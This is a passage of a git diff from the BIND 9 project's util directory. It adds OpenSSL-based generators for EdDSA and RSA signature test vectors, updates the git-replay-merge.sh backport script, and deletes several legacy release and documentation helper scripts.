+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdio.h>
+
+#include <openssl/core_names.h>
+#include <openssl/err.h>
+#include <openssl/evp.h>
+#include <openssl/objects.h>
+#include <openssl/opensslv.h>
+#include <openssl/param_build.h>
+
+/*
+ *  The test vectors were generated using OpenSSL 3.0 and
+ *  util/gen-eddsa-vectors.c.  Rerunning will generate a new set of
+ *  test vectors as the private key is not preserved.
+ *
+ *  e.g.
+ *          cc util/gen-eddsa-vectors.c -I /opt/local/include \
+ *                  -L /opt/local/lib -lcrypto
+ */
+
+int
+main() {
+	EVP_PKEY_CTX *ctx = EVP_PKEY_CTX_new_id(NID_ED25519, NULL);
+	EVP_PKEY *pkey = NULL;
+	unsigned char buf[512];
+	size_t bytes;
+	EVP_MD_CTX *evp_md_ctx = EVP_MD_CTX_create();
+
+	if (ctx == NULL || evp_md_ctx == NULL) {
+		ERR_clear_error();
+		return (1);
+	}
+
+	if (EVP_PKEY_keygen_init(ctx) != 1 ||
+	    EVP_PKEY_keygen(ctx, &pkey) != 1 || pkey == NULL)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+
+	bytes = sizeof(buf);
+	if (EVP_PKEY_get_raw_public_key(pkey, buf, &bytes) != 1) {
+		ERR_clear_error();
+		return (1);
+	}
+
+	printf("unsigned char ed25519_pub[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n");
+
+	bytes = sizeof(buf);
+	if (EVP_DigestSignInit(evp_md_ctx, NULL, NULL, NULL, pkey) != 1 ||
+	    EVP_DigestSign(evp_md_ctx, buf, &bytes,
+			   (const unsigned char *)"test", 4) != 1)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+
+	printf("unsigned char ed25519_sig[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n\n");
+
+	EVP_MD_CTX_free(evp_md_ctx);
+	EVP_PKEY_free(pkey);
+	pkey = NULL;
+
+	ctx = EVP_PKEY_CTX_new_id(NID_ED448, NULL);
+	evp_md_ctx = EVP_MD_CTX_create();
+	if (ctx == NULL || evp_md_ctx == NULL) {
+		ERR_clear_error();
+		return (1);
+	}
+
+	if (EVP_PKEY_keygen_init(ctx) != 1 ||
+	    EVP_PKEY_keygen(ctx, &pkey) != 1 || pkey == NULL)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+
+	bytes = sizeof(buf);
+	if (EVP_PKEY_get_raw_public_key(pkey, buf, &bytes) != 1) {
+		ERR_clear_error();
+		return (1);
+	}
+
+	printf("unsigned char ed448_pub[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n");
+
+	bytes = sizeof(buf);
+	if (EVP_DigestSignInit(evp_md_ctx, NULL, NULL, NULL, pkey) != 1 ||
+	    EVP_DigestSign(evp_md_ctx, buf, &bytes,
+			   (const unsigned char *)"test", 4) != 1)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+
+	printf("unsigned char ed448_sig[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n\n");
+
+	EVP_MD_CTX_free(evp_md_ctx);
+	EVP_PKEY_free(pkey);
+
+	return (0);
+}
diff --git a/util/gen-rsa-sha-vectors.c b/util/gen-rsa-sha-vectors.c
new file mode 100644
index 0000000000..36e5f86036
--- /dev/null
+++ b/util/gen-rsa-sha-vectors.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+#include <stdio.h>
+
+#include <openssl/bn.h>
+#include <openssl/core_names.h>
+#include <openssl/err.h>
+#include <openssl/evp.h>
+#include <openssl/objects.h>
+#include <openssl/opensslv.h>
+#include <openssl/param_build.h>
+#include <openssl/rsa.h>
+
+/*
+ *  Generate test vectors for lib/dns/opensslrsa_link.c as:
+ *
+ *  Fedora 33 doesn't support RSASHA1 in future mode.  There is no easy
+ *  check for this other than by attempting to perform a verification
+ *  using known good signatures.  We don't attempt to sign with RSASHA1
+ *  as that would not work in FIPS mode.  RSASHA1 is verify only.
+ *
+ *  The test vectors were generated using OpenSSL 3.0 and
+ *  util/gen-rsa-sha-vectors.c.  Rerunning will generate a new set of
+ *  test vectors as the private key is not preserved.
+ *
+ *  e.g.
+ *          cc util/gen-rsa-sha-vectors.c -I /opt/local/include \
+ *                  -L /opt/local/lib -lcrypto
+ */
+
+int
+main() {
+	BIGNUM *e = BN_new();
+	BIGNUM *n = BN_new();
+	EVP_PKEY_CTX *ctx = EVP_PKEY_CTX_new_from_name(NULL, "RSA", NULL);
+	EVP_PKEY *pkey = NULL;
+	unsigned char buf[512];
+	size_t bytes;
+	EVP_MD_CTX *evp_md_ctx = EVP_MD_CTX_create();
+	unsigned int siglen = sizeof(buf);
+
+	if (e == NULL || n == NULL || ctx == NULL || evp_md_ctx == NULL) {
+		ERR_clear_error();
+		return (1);
+	}
+
+	BN_set_bit(e, 0);
+	BN_set_bit(e, 16);
+
+	if (EVP_PKEY_keygen_init(ctx) != 1 ||
+	    EVP_PKEY_CTX_set_rsa_keygen_bits(ctx, 2048) != 1 ||
+	    EVP_PKEY_CTX_set1_rsa_keygen_pubexp(ctx, e) != 1 ||
+	    EVP_PKEY_keygen(ctx, &pkey) != 1 || pkey == NULL)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+
+	EVP_PKEY_get_bn_param(pkey, OSSL_PKEY_PARAM_RSA_N, &n);
+	if (n == NULL) {
+		ERR_clear_error();
+		return (1);
+	}
+
+	bytes = BN_num_bytes(e);
+	BN_bn2bin(e, buf);
+	printf("unsigned char e_bytes[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n");
+
+	bytes = BN_num_bytes(n);
+	BN_bn2bin(n, buf);
+	printf("unsigned char n_bytes[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n\n");
+
+	if (EVP_DigestInit_ex(evp_md_ctx, EVP_sha1(), NULL) != 1 ||
+	    EVP_DigestUpdate(evp_md_ctx, "test", 4) != 1 ||
+	    EVP_SignFinal(evp_md_ctx, buf, &siglen, pkey) != 1)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+	bytes = siglen;
+	printf("unsigned char sha1_sig[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n\n");
+
+	if (EVP_DigestInit_ex(evp_md_ctx, EVP_sha256(), NULL) != 1 ||
+	    EVP_DigestUpdate(evp_md_ctx, "test", 4) != 1 ||
+	    EVP_SignFinal(evp_md_ctx, buf, &siglen, pkey) != 1)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+	bytes = siglen;
+	printf("unsigned char sha256_sig[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n\n");
+
+	if (EVP_DigestInit_ex(evp_md_ctx, EVP_sha512(), NULL) != 1 ||
+	    EVP_DigestUpdate(evp_md_ctx, "test", 4) != 1 ||
+	    EVP_SignFinal(evp_md_ctx, buf, &siglen, pkey) != 1)
+	{
+		ERR_clear_error();
+		return (1);
+	}
+	bytes = siglen;
+	printf("unsigned char sha512_sig[] = \"");
+	for (size_t i = 0; i < bytes; i++) {
+		printf("\\x%02x", buf[i]);
+	}
+	printf("\";\n\n");
+
+	EVP_MD_CTX_free(evp_md_ctx);
+	EVP_PKEY_free(pkey);
+
+	return (0);
+}
diff --git a/util/git-replay-merge.sh b/util/git-replay-merge.sh
index e18c14b64d..a888593793 100755
--- a/util/git-replay-merge.sh
+++ b/util/git-replay-merge.sh
@@ -1,9 +1,11 @@
 #!/bin/bash
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -15,15 +17,10 @@ SELF="$(basename $0)"
 SELF="${SELF/-/ }"
 
 STATE_FILE=".git/REPLAY_MERGE"
+DONT_TAG=${DONT_TAG:=false}
 DONT_PUSH=${DONT_PUSH:=false}
 DONT_ACCEPT=${DONT_ACCEPT:=false}
 
-GITLAB_API_ENDPOINT=${GITLAB_API_ENDPOINT:=https://gitlab.isc.org/api/v4}
-GITLAB_URI=${GITLAB_URI:=$(echo $GITLAB_API_ENDPOINT | cut -f 1-3 -d /)}
-GITLAB_PROJECT_ID=${GITLAB_PROJECT_ID:=1}
-GITLAB_PROJECT_GROUP=${GITLAB_PROJECT_GROUP:=isc-projects}
-GITLAB_PROJECT_NAME=${GITLAB_PROJECT_NAME:=bind9}
-
 die() {
 	for MESSAGE in "$@"; do
 		echo -e "${MESSAGE}" >&2
@@ -34,17 +31,14 @@ die() {
 die_with_usage() {
 	die "Usage:"								\
 	    ""									\
-	    "	${SELF} <merge_commit_id> <target_remote> <target_branch>"	\
-	    "	${SELF} --no-push"						\
-	    "	${SELF} --continue"						\
-	    "	${SELF} --abort"
-}
-
-verify_gitlab_cli() {
-	which gitlab >/dev/null 2>&1 || \
-		die "You need to have gitlab cli installed and configured: "\
-		    "" \
-		    "$ gem install --user-install gitlab"
+	    "${SELF} [options] <merge_commit_id> <target_remote> <target_branch>" \
+	    "${SELF} --continue"						\
+	    "${SELF} --abort"							\
+	    ""									\
+	    "options:"								\
+	    "	--no-push"							\
+	    "	--no-tag"							\
+	    ""
 }
 
 die_with_continue_instructions() {
@@ -171,21 +165,38 @@ resume() {
 		fi
 	fi
 
-	if [[ "$DONT_PUSH" = "true" ]]; then
+	if $DONT_PUSH; then
 		die_before_push
 	fi
 
-	if [[ "$DONT_ACCEPT" = "true" ]]; then
-		AUTOMERGE=""
+	if $DONT_ACCEPT; then
+		AUTO_MERGE=""
 	else
-		AUTO_MERGE="-o merge_request.merge_when_pipeline_succeeds"
+		AUTO_MERGE="merge_request.merge_when_pipeline_succeeds"
+	fi
+
+	TITLE=""
+	LABEL_VERSION=""
+	LABEL_BACKPORT=""
+
+	if ! $DONT_TAG && [[ $TARGET_BRANCH == bind-9.[0-9][0-9] ]]; then
+		version="${TARGET_BRANCH#bind-}"
+
+		TITLE="$(git show --format=%b ${SOURCE_COMMIT} | head -n 1)"
+		TITLE="merge_request.title=[${version}] ${TITLE}"
+
+		LABEL_VERSION="merge_request.label=v${version}"
+		LABEL_BACKPORT="merge_request.label=Backport"
 	fi
 
 	git push -u ${TARGET_REMOTE} \
 	    -o merge_request.create \
 	    -o merge_request.remove_source_branch \
 	    -o "merge_request.target=${TARGET_BRANCH}" \
-	    ${AUTO_MERGE} \
+	    ${AUTO_MERGE:+-o} "${AUTO_MERGE}" \
+	    ${TITLE:+-o} "${TITLE}" \
+	    ${LABEL_VERSION:+-o} "${LABEL_VERSION}" \
+	    ${LABEL_BACKPORT:+-o} "${LABEL_BACKPORT}" \
 	    "${REPLAY_BRANCH}:${REPLAY_BRANCH}"
 
 	cleanup
@@ -206,6 +217,7 @@ cleanup() {
 cd $(git rev-parse --show-toplevel)
 
 next_action="go"
+args=3
 while [[ $# -ge 1 ]]; do
 	case "$1" in
 		"--no-push")
@@ -214,29 +226,38 @@ while [[ $# -ge 1 ]]; do
 		"--push")
 			DONT_PUSH=false
 			;;
+		"--no-tag")
+			DONT_TAG=true
+			;;
+		"--tag")
+			DONT_TAG=false
+			;;
 		"--abort")
 			die_if_not_in_progress
 			source "${STATE_FILE}"
 			next_action="cleanup"
+			args=0
+			shift
+			break
 			;;
 		"--continue")
-			verify_gitlab_cli
 			die_if_not_in_progress
 			source "${STATE_FILE}"
 			next_action="resume"
-			;;
-		*)
-			if [[ $# -ne 3 ]]; then
-				die_with_usage
-			fi
+			args=0
+			shift
 			break
 			;;
+		--*)	die_with_usage
+			;;
+		*)	break
+			;;
 	esac
 	shift
 done
 
-if [[ "DONT_PUSH" = "false" ]]; then
-	verify_gitlab_cli
+if [[ $# -ne $args ]]; then
+	die_with_usage
 fi
 
 $next_action "$@"
diff --git a/util/kit.sh b/util/kit.sh
deleted file mode 100644
index dae8c2b39a..0000000000
--- a/util/kit.sh
+++ /dev/null
@@ -1,202 +0,0 @@
-#!/bin/sh
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# Make a release kit
-#
-# Usage: sh kit.sh tag tmpdir
-#
-#    (e.g., sh kit.sh v9_0_0b5 /tmp/bindkit
-#
-# To build a snapshot release, use the pseudo-tag "snapshot".
-#
-#   (e.g., sh kit.sh snapshot /tmp/bindkit
-#
-
-remote=--remote=git@gitlab.isc.org:isc-projects/bind9.git
-
-case "${1:-}" in
---remote=*)
-	remote="${1}"
-	shift
-	;;
-esac
-
-repo=`expr "X${remote}X" : '^X--remote=\(.*\)X$'`
-
-case $# in
-    3)
-	case "$1" in
-	snapshot) ;;
-	*) echo "usage: sh kit.sh [snapshot] gittag tmpdir" >&2
-	   exit 1
-	   ;;
-	esac
-	snapshot=true;
-	releasetag=$2
-	tag=$2
-	tmpdir=$3
-	;;
-    2)
-	tag=$1
-	tmpdir=$2
-	case $tag in
-	    snapshot) tag=master; snapshot=true ; releasetag="" ;;
-	    *) snapshot=false ;;
-	esac
-	;;
-    *) echo "usage: sh kit.sh [snapshot] gittag tmpdir" >&2
-       exit 1
-       ;;
-esac
-
-# create tmpdir
-test -d $tmpdir ||
-mkdir $tmpdir || {
-    echo "$0: could not create directory $tmpdir" >&2
-    exit 1
-}
-
-cd $tmpdir || {
-	echo "$0: cd $tmpdir failed"
-	exit 1
-}
-
-hash=`git ls-remote $repo refs/heads/$tag | awk '{print $1}'`
-if [ -z "$hash" ]; then
-        hash=`git ls-remote $repo refs/tags/$tag | awk '{print $1}'`
-fi
-if [ -z "$hash" ]; then
-        echo "Unable to determine hash for $tag, aborting."
-        exit 1
-fi
-shorthash=`echo $hash | cut -c1-7`
-
-verdir=bind9-kit.$$
-mkdir $verdir || {
-    echo "$0: could not create directory $tmpdir/$verdir" >&2
-    exit 1
-}
-git archive --format=tar $remote $tag version | ( cd $verdir ;tar xf - )
-test -f $verdir/version || {
-    echo "$0: could not get 'version' file" >&2
-    exit 1
-}
-. $verdir/version
-
-rm $verdir/version
-rmdir $verdir
-
-if $snapshot
-then
-    RELEASETYPE=s
-    RELEASEVER=${shorthash}
-fi
-
-version=${MAJORVER}.${MINORVER}${PATCHVER:+.}${PATCHVER}${RELEASETYPE}${RELEASEVER}${EXTENSIONS}
-
-echo "building release kit for BIND version $version, hold on..."
-
-topdir=bind-$version
-
-test ! -d $topdir || {
-    echo "$0: directory $tmpdir/$topdir already exists" >&2
-    exit 1
-}
-
-mkdir $topdir || exit 1
-
-git archive --format=tar $remote $tag | ( cd $topdir; tar xf -)
-
-cd $topdir || exit 1
-
-if $snapshot
-then
-    cat <<EOF >version
-MAJORVER=$MAJORVER
-MINORVER=$MINORVER
-PATCHVER=$PATCHVER
-RELEASETYPE=$RELEASETYPE
-RELEASEVER=$RELEASEVER
-EXTENSIONS=$EXTENSIONS
-EOF
-fi
-
-# Omit some files and directories from the kit.
-#
-# Some of these directories (doc/html, doc/man...) no longer
-# contain any files and should therefore be absent in the
-# checked-out tree, but they did exist at some point and
-# we still delete them from releases just in case something 
-# gets accidentally resurrected.
-
-rm -rf TODO EXCLUDED conftools doc/design doc/dev doc/draft doc/expired \
-    doc/html doc/rfc doc/todo doc/private doc/man doc/markdown \
-    contrib/zkt/doc/rfc5011.txt \
-    bin/tests/system/relay lib/cfg
-
-# Remove everything but mksymtbl.pl and bindkeys.pl from util
-find util -name bindkeys.pl -o -name mksymtbl.pl -prune -o -type f -print | xargs rm -f
-find util -depth -type d -print | xargs rmdir 2>/dev/null
-
-# Remove all .gitignore files
-find . -name .gitignore -print | xargs rm
-
-# Remove branchsync.dat, if present
-rm -f branchsync.dat
-
-# populate srcid file
-echo "SRCID=$shorthash" > srcid
-
-# The following files should be executable.
-chmod +x configure install-sh mkinstalldirs bin/tests/system/ifconfig.sh
-# Fix up releases with libbind.
-if test -f lib/bind/configure
-then
-	 chmod +x lib/bind/configure lib/bind/mkinstalldirs
-fi
-
-# check that documentation has been updated properly; issue a warning
-# if it hasn't
-ok=
-for f in doc/arm/*.html
-do
-	if test "$f" -nt doc/arm/Bv9ARM-book.xml
-	then
-		ok=ok
-	fi
-done
-
-if test "$ok" != ok
-then
-	echo "WARNING: ARM source is newer than the html version."
-fi
-
-if test doc/arm/Bv9ARM-book.xml -nt doc/arm/Bv9ARM.pdf
-then
-	echo "WARNING: ARM source is newer than the PDF version."
-fi
-
-for f in `find . -name "*.docbook" -print`
-do
-	docbookfile=$f
-	htmlfile=${f%.docbook}.html
-	if test $docbookfile -nt $htmlfile
-	then
-		echo "WARNING: $docbookfile is newer than the html version."
-	fi
-done
-
-# build the tarball
-cd .. || exit 1
-
-kit=$topdir.tar.gz
-tar -c -f - $topdir | gzip > $kit
-echo "done, kit is in `pwd`/$kit"
diff --git a/util/mandoc2docbook.pl b/util/mandoc2docbook.pl
deleted file mode 100644
index 901ea88b1b..0000000000
--- a/util/mandoc2docbook.pl
+++ /dev/null
@@ -1,230 +0,0 @@
-#!/usr/bin/perl
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-#
-# Do a quick-and-dirty conversion of .mandoc man pages to
-# DocBook SGML.
-#
-# Minor hand editing of the output is usually required.
-# This has only been tested with library function man pages
-# (section 3); it probably does not work well for program
-# man pages.
-#
-
-print <<\END;
-<!DOCTYPE refentry PUBLIC "-//OASIS//DTD DocBook V4.1//EN">
-<!--
- - Copyright (C) 2000, 2001  Internet Systems Consortium, Inc. ("ISC")
- -
- - This Source Code Form is subject to the terms of the Mozilla Public
- - License, v. 2.0. If a copy of the MPL was not distributed with this
- - file, You can obtain one at http://mozilla.org/MPL/2.0/.
--->
-
-<refentry>
-<refentryinfo>
-END
-
-my $cursection = undef;
-
-my $in_para = 0;
-
-sub begin_para() {
-	if (! $in_para) {
-		print "<para>\n";
-		$in_para = 1;
-	}
-}
-sub end_para() {
-	if ($in_para) {
-		print "</para>\n";
-		$in_para = 0;
-	}
-}
-
-
-sub end_section {
-	if ($cursection) {
-		print "</$cursection>\n"
-	}
-}
-
-sub section {
-	my ($tag) = @_;
-	end_para();
-	end_section();
-	print "<$tag>\n";
-	$cursection = $tag;
-}
-
-my %tagmap = (
-	Er => errorcode,
-	Dv => type,
-	Pa => filename,
-        Li => constant, 		# XXX guess
-	Ar => parameter,
-	Va => parameter,
-);
-	    
-while (<>) {
-	next if m/^\.\\\"/;
-	if (/^\.Dd (.*)$/) {
-		print "<date>$1<\/date>\n<\/refentryinfo>\n";
-		next;
-	}
-	elsif (/^\.Dt ([^ ]+) ([^ ]+)$/) {
-		my $title = lc $1;
-		my $volume = $2;
-		chomp $volume;
-		print <<END;
-<refmeta>
-<refentrytitle>$title</refentrytitle>
-<manvolnum>$volume</manvolnum>
-<refmiscinfo>BIND9</refmiscinfo>
-</refmeta>
-END
-		next;
-	}
-	elsif (/^\.Os (.*)$/) {
-		next;
-	}
-	elsif (/^\.ds (.*)$/) {
-		next;
-	}
-	elsif (/^\.Nm (.*)$/) {
-		if ($cursection eq "refnamediv") {
-			my $t = $1;
-			$t =~ s/ ,$//;
-			print "<refname>$t<\/refname>\n";
-		} else {
-			print "<command>$1<\/command>\n";
-		}
-		next;
-	}
-	elsif (/^\.Nd (.*)$/) {
-		print "<refpurpose>$1</refpurpose>\n";
-		next;
-	}
-	elsif (/^\.Sh NAME/) { section("refnamediv"); next; }
-	elsif (/^\.Sh SYNOPSIS/) { section("refsynopsisdiv"); next; }
-	elsif (/^\.Sh (.*)$/) {
-		section("refsect1");
-		print "<title>$1</title>\n"; next;
-	}
-	# special: spaces can occur in arg
-	elsif (/^\.Fd (.*)$/) {
-		$_ = $1;
-		s/</&lt;/g;
-		s/>/&gt;/g;
-		print "<funcsynopsisinfo>$_<\/funcsynopsisinfo>\n";
-		next;
-	}
-	elsif (/^\.Fn (.*?)( ([^"]+))?$/) {
-		# special: add parenthesis
-		print "<function>$1()<\/function>$3\n";
-	}
-	elsif (/^\.Op Fl (.*?)( ([^"]+))?$/) {
-		# special: add dash
-		print "<option>-$1<\/option>$3\n";
-	}
-	elsif (/^\.Fl (.*?)( ([^"]+))?$/) {
-		# special: add dash
-		print "<option>-$1<\/option>$3\n";
-	}
-	elsif (/^\.Ft (.*)$/) {
-		print "<funcprototype>\n";		
-		print "<funcdef>\n";
-		print "$1\n";
-		next;
-	}
-	elsif (/^\.Fa (.*?)( ([^"]+))?$/) {
-		if ($cursection eq "refsynopsisdiv") {
-			my $t = $1;
-			$t =~ s/^"//;
-			$t =~ s/"$//;
-			print "<paramdef>$t<\/paramdef>\n";
-		} else {
-			print "<parameter>$1<\/parameter>$3\n";
-		}
-		next;
-	}
-	elsif (/^\.Fo (.*)$/) {
-		print "<function>$1<\/function></funcdef>\n";
-		next;
-	}
-	elsif (/^\.Xr ([^ ]+) ([^ ]+)( ([^ ]+))?$/) {
-		print "<citerefentry>\n";
-		print "<refentrytitle>$1</refentrytitle><manvolnum>$2</manvolnum>\n";
-		print "</citerefentry>$4\n";
-		next;
-	}
-	elsif (/^\.([A-Z][a-z]) (.*?)( ([^"]+))?$/ && defined($tagmap{$1})) {
-		my $tag = $tagmap{$1};
-		my $t = $2;
-		my $punct = $4;
-		$t =~ s/^"//;
-		$t =~ s/"$//;
-		$t =~ s/</&lt;/g;
-		$t =~ s/>/&gt;/g;
-		print "<$tag>$t<\/$tag>$punct\n";
-		next;
-	}
-	elsif (/^\.Fc$/) {
-		print "</funcprototype>\n";
-		next;
-	}
-	elsif (/^\.Pp$/) {
-		end_para();
-		begin_para();
-	}
-	elsif (/^\.Bd /) {
-		print "<programlisting>\n";
-	}
-	elsif (/^\.Ed$/) {
-		print "</programlisting>\n";	       
-	}
-	elsif (/^\.Bl /) {
-		print "<variablelist>\n";
-	}
-	elsif (/^\.El$/) {
-		print "</para>\n";
-		print "</listitem>\n";		
-		print "</variablelist>\n";
-	        $in_list = 0;
-	}
-	elsif (/^\.It .. (.*)$/) {
-		if ($in_list) {
-			print "</listitem>\n";
-		}
-		print "<varlistentry><term><constant>$1</constant></term>\n";
-		print "<listitem>\n";
-		print "<para>\n";
-		$in_list = 1;
-	}
-	elsif (/^\.It Dv (.*)$/) {
-		if ($in_list) {
-			print "</listitem>\n";
-		}
-		print "<varlistentry><term><errorcode>$1</errorcode></term>\n";
-		print "<listitem>\n";
-		print "<para>\n";
-		$in_list = 1;
-	} else {
-		if (/./) {
-			begin_para();
-		}
-		print;
-	}
-}
-
-end_para();
-end_section();
-print "</refentry>\n";
diff --git a/util/mdnbuildtest.sh b/util/mdnbuildtest.sh
deleted file mode 100644
index 75de9fd69d..0000000000
--- a/util/mdnbuildtest.sh
+++ /dev/null
@@ -1,65 +0,0 @@
-#! /bin/sh -ex
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-# XXXDCL This is currently much too specific to the environment in which
-# it was written (NetBSD 1.5_alpha2 with libiconv in /usr/local/lib).  It
-# is essentially just a copy of the commands I used to test building of
-# the mdnkit contributed source, and needs to be better generalized. 
-
-# Directory was prepared with:
-# cvs export -r {tag} bind9
-# cd bind9
-
-sh -ex util/sanitize_all.sh
-
-mdn=`pwd`/contrib/idn/mdnkit
-
-set +e
-patch -p0 < $mdn/patch/bind9/patch.most > patch.out 2>&1
-set -e
-
-cmd="egrep '^Hunk' patch.out | egrep -v '^Hunk #[0-9]+ succeeded at [0-9]+\.$'"
-if eval $cmd | egrep -q .; then
-  echo Patch was not entirely clean: >&2
-  $cmd >&2
-  echo Patch output is in patch.out. >&2
-  exit 1
-fi
-
-cd $mdn
-
-CFLAGS=-I/usr/local/include ./configure --with-iconv='-L/usr/local/lib -liconv'
-make
-
-cd ../../..
-
-cp configure configure.orig
-autoconf
-set +e
-diff -u2 ./configure.orig ./configure > $mdn/patch/bind9/patch.configure
-set -e
-
-make
-
-make distclean > /dev/null 2>&1
-
-mdntmp=tmp/mdn
-
-rm -rf $mdntmp
-mkdir -p $mdntmp/lib $mdntmp/include
-cp $mdn/lib/.libs/libmdn.so $mdntmp/lib
-cp -r $mdn/include/mdn $mdntmp/include
-
-./configure --with-mdn=$mdntmp --with-iconv="-L/usr/local/lib -liconv" 
-
-LD_LIBRARY_PATH=/usr/local/lib:$mdntmp/lib:/usr/lib make
-
-exit 0
diff --git a/util/memleak.pl b/util/memleak.pl
index d7aeab5e0f..7e637d0a1d 100644
--- a/util/memleak.pl
+++ b/util/memleak.pl
@@ -1,9 +1,11 @@
 #!/usr/bin/perl
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/util/merge_copyrights b/util/merge_copyrights
deleted file mode 100644
index 2c61670378..0000000000
--- a/util/merge_copyrights
+++ /dev/null
@@ -1,205 +0,0 @@
-#!/usr/local/bin/perl -w
-#
-# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
-#
-# This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, you can obtain one at https://mozilla.org/MPL/2.0/.
-#
-# See the COPYRIGHT file distributed with this work for additional
-# information regarding copyright ownership.
-
-use strict;
-
-my %file_types = ();
-my %file_years = ();
-
-open(COPYRIGHTS, "<util/copyrights") || die "can't open ./util/copyrights: $!";
-while (<COPYRIGHTS>) {
-    chomp;
-    my ($file, $type, $years) = split;
-    $file_types{$file} = $type;
-    $file_years{$file} = $years;
-}
-close(COPYRIGHTS);
-
-my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime(time());
-$sec = $min = $hour = $mday = $mon = $wday = $yday = $isdst = 0;
-$year += 1900;
-
-open(CHANGES, "git ls-files | sed 's;^;./;' | sort |") || die "git ls-files: $!";
-while (<CHANGES>) {
-    chomp;
-    
-    next if (m%/\. |         # just ignore all hidden files
-	       /ChangeLog       |   #
-	       Makefile.(am|in) |   # build system doesn't need to have copyright
-	       /m4/ |           # build system doesn't need to have copyright
-	       /configure   |   # build system doesn't need to have copyright
-	       /fuzz/.*\.in/ |  # ignore fuzz corpus
-	       util/newcopyrights | # our output
-	       \.bak$ |		# created by update_copyrights
-	       \.md$ |          # READMEs and such
-	       \.data$ |        # zone files
-	       \.data[0-9]$ |   # zone files
-	       \.data\.in$ |    # zone files
-	       \.db$ |          # zone files
-	       \.db\.in$ |      # zone files
-	       /db\.[^/]*$ |     # zone files
-	       /[^/]*\.db\.[^/]* | # zone files
-	       \.hints?$ |      # zone files
-	       \.hints?\.in$ |  # zone files
-	       /hints$ |        # zone files
-	       \.zone$ |        # zone files
-	       /cocci/.* |      # coccinelle spatch files
-	       \.conf$ |        # configuration files
-	       \.conf\.in$ |    # configuration files
-	       /(dnssafe|openssl)/.*\.[ch]$ |	# imported
-	       doc/dnssec-guide/img/ |		# images
-	       doc/(draft|expired|rfc)/ |	# imported
-	       doc/notes/ |     # release notes doesn't really need copyright
-	       \.*in$ |         # the generated documentation doesn't really need copyright
-	       grammar\.rst$ |  # -"-
-	       zoneopt\.rst$ |  # -"-
-	       zoneopt$      |  # -"-
-	       \.txt$		# text files don't really need copyright
-	     %x);
-
-    if (!$file_types{$_}) {
-	# Strip any .in extension to find out the file's real type.
-	# .in files are processed by configure to produce the target file.
-	my $base;
-	($base = $_) =~ s/\.in$//;
-
-	# Contributed code should maintain its own copyright.
-	if ($base =~ /\.\/contrib\//) {
-	     $file_types{$_} = "X";
-	} elsif ($base =~ /\/openssl-[a-z0-9.]*-patch$/) {
-	    $file_types{$_} = "X";
